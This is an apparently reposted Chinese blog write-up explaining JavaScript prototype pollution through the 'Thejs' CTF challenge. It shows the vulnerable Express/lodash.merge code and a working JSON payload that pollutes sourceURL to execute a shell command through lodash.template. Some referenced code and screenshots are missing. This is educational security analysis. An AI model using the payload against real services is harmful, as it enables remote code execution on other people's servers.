初探JavaScript原型鏈污染


18年p師傅在知識星球出了一些代碼審計題目,其中就有一道難度為hard的js題目(Thejs)為原型鏈污染攻擊,而當時我因為太忙了(其實是太菜了,流下了沒技術的淚水)並沒有認真看過,后續在p師傅寫出writeup后也沒有去分析,最近在先知看到niexinming師傅出的一道js的原型污染鏈攻擊題目的wp才好似喚醒記憶般去學習了一下....
0x01:原型和繼承
JavaScript是一門靈活的語言,基於原型實現繼承,原型是Javascript的繼承的基礎。
它本身不提供一個 class實現。(在 ES2015/ES6 中引入了 class 關鍵字,但那只是語法糖,JavaScript 仍然是基於原型的)
在js中,如果我們需要定義一個類,通過定義一個構造函數的方式來進行定義。
比如:
function Test() {
    this.test = "test"
}
遵循ECMAScript標准, someObject.[[Prototype]] 符號是用於指向 someObject 的原型。從 ECMAScript 6 開始,[[Prototype]] 可以通過 Object.getPrototypeOf()Object.setPrototypeOf() 訪問器來訪問。這個等同於 JavaScript 的非標准但許多瀏覽器實現的屬性 __proto_
每個實例對象都有一個私有屬性__proto__指向它的構造函數的原型prototype,也就是
我們可以認為,原型prototype是類的一個屬性,而這個屬性中的值和方法被每一個由類實例出來的對象所共有,而我們可以通過實例對象test1.__proto__來訪問Test類的原型,那么這樣就出現了一個問題,假如我們可以控制實例對象的__proto__屬性,則等於可以修改該類所有實例對象的__proto__屬性。
0x02:原型鏈污染
我們來看這一段代碼,原本test1實例對象中是沒有b屬性的,但在我給test2做了私有屬性__proto__賦值以后(test2.__proto__指向Test的原型prototype),test1.b有值了
這是因為:對於對象test1,在調用 test1.b的時候,實際上JavaScript引擎會進行如下操作:
1.在對象test1中尋找b
2.找不到,在 test1.__proto__中尋找b(這里的test1.__proto__同樣指向Test的原型prototype
3.如果仍然找不到,則繼續在 test1.__proto__.__proto__中尋找b
4.依次尋找,直到找到 null結束。比如,Object.prototype的__proto__就是null
那么在Javascript中,我們何時可以控制實例對象的__proto__來污染原型鏈呢,只要找到可以控制數組(對象)的鍵名的位置即可,比如
1.對象clone
2.對象merge
以merge舉例,要使__proto__作為key被賦值,還需要一個條件為傳遞的參數需要是以json來做解析,否則__proto__會被當作原型而不是一個key,故也就無法成功污染
直接拿p師傅的代碼舉例:
直接賦值,污染原型鏈失敗:
使用Json.parse,污染成功
0x03:Thejs分析
關鍵代碼很少,關鍵部分主要是:
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
 
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
 
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
 
res.render('index', {
language: data.language,
category: data.category
})
})
而lodash.merge也就是觸發原型鏈攻擊的地方
先放p師傅的payload:
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
我們在data = lodash.merge(data, req.body)處下斷點,單步結束后可以看到
類型為Object的data對象中的__proto__屬性中已經存在sourceURL屬性
為什么賦值一個sourceURL屬性呢,該屬性反應在 lodash.template中
javascript中的代碼執行可以通過eval和new Function, 這里的Funticon的sourceURL參數來源於
而options.sourceURL值原本是沒有被賦值的,所以我們可以通過原型鏈污染給所有的Object對象插入一個sourceURL屬性再拼接到new Function第二個參數中造成代碼執行。
我們在前面說過使用merge原型鏈污染需要json方式取值,而express默認通過body-parser解析請求體,所以直接將請求包的Content-Type改成application/json即可。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM